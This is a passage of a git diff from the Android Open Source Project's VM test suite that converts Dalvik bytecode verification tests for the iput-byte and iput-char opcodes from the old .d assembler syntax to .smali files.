-       iput-byte v0, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_3.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.smali
new file mode 100644
index 0000000..252b801
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_3.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-byte v0, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_3;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.d
deleted file mode 100644
index b29c0e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_30.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_30
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iput_byte/d/T_iput_byte_30
-    const v1, 0
-    iput-byte v1, v0, dot.junit.opcodes.iput_byte.d.T_iput_byte_30.st_i1 B
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.smali
new file mode 100644
index 0000000..190789a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_30.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_30.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_30;
+    const v1, 0
+    iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_30;->st_i1:B
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.d
deleted file mode 100644
index 7c26ab6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_31.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_31
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    const v1, 0
-    iput-byte v1, v0, dot.junit.opcodes.iput_byte.d.T_iput_byte_31.st_i1 B
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.smali
new file mode 100644
index 0000000..4f58b1e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_31.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_31;->st_i1:B
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.d
deleted file mode 100644
index 18a254f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_4.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_4
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-byte v3, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_4.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.smali
new file mode 100644
index 0000000..f931b55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_4.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-byte v3, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_4;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.d
deleted file mode 100644
index 4ac5aa9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_7.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_7
-.super java/lang/Object
-
-.field public static st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_7.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.smali
new file mode 100644
index 0000000..86200c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_7.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_7;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.d
deleted file mode 100644
index 34b537c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_8.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_byte/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_byte/TestStubs/<init>()V
-
-       const v1, 0
-       iput-byte v1, v0, dot.junit.opcodes.iput_byte.TestStubs.TestStubField B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.smali
new file mode 100644
index 0000000..0f06684
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_8.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_byte/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_byte/TestStubs;-><init>()V
+
+       const v1, 0
+       iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/TestStubs;->TestStubField:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.d
deleted file mode 100644
index 338b321..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_9.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_9
-.super java/lang/Object
-
-.field public st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_9noclass.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.smali
new file mode 100644
index 0000000..5875985
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_9.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_9noclass;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.d
deleted file mode 100644
index 1872727..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_1.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_1
-.super java/lang/Object
-
-.field public  st_i1 C
-.field protected  st_p1 C
-.field private  st_pvt1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public  getPvtField()C
-.limit regs 2
-
-       iget-char v0, v1, dot.junit.opcodes.iput_char.d.T_iput_char_1.st_pvt1 C
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_1.st_i1 C
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.smali
new file mode 100644
index 0000000..2615fae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_1.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+.field protected  st_p1:C
+.field private  st_pvt1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public  getPvtField()C
+.registers 2
+
+       iget-char v0, v1, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_pvt1:C
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_i1:C
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.d
deleted file mode 100644
index 466cad9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_10.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_10
-.super java/lang/Object
-
-.field public st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_10.st_i1N C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.smali
new file mode 100644
index 0000000..b436253
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_10.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_10;->st_i1N:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.d
deleted file mode 100644
index cd32504..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_11.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_char/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_char/TestStubs/<init>()V
-
-       const v1, 1
-       iput-char v1, v0, dot.junit.opcodes.iput_char.TestStubs.TestStubFieldFinal C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.smali
new file mode 100644
index 0000000..1fe64a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_11.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_char/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_char/TestStubs;-><init>()V
+
+       const v1, 1
+       iput-char v1, v0, Ldot/junit/opcodes/iput_char/TestStubs;->TestStubFieldFinal:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.d
deleted file mode 100644
index 9aeb2cc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_12.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_12
-.super java/lang/Object
-
-.field public  final st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_12.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.smali
new file mode 100644
index 0000000..b26c242
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_12.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_12;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.d
deleted file mode 100644
index 9cbce64..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_13.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_13
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 0
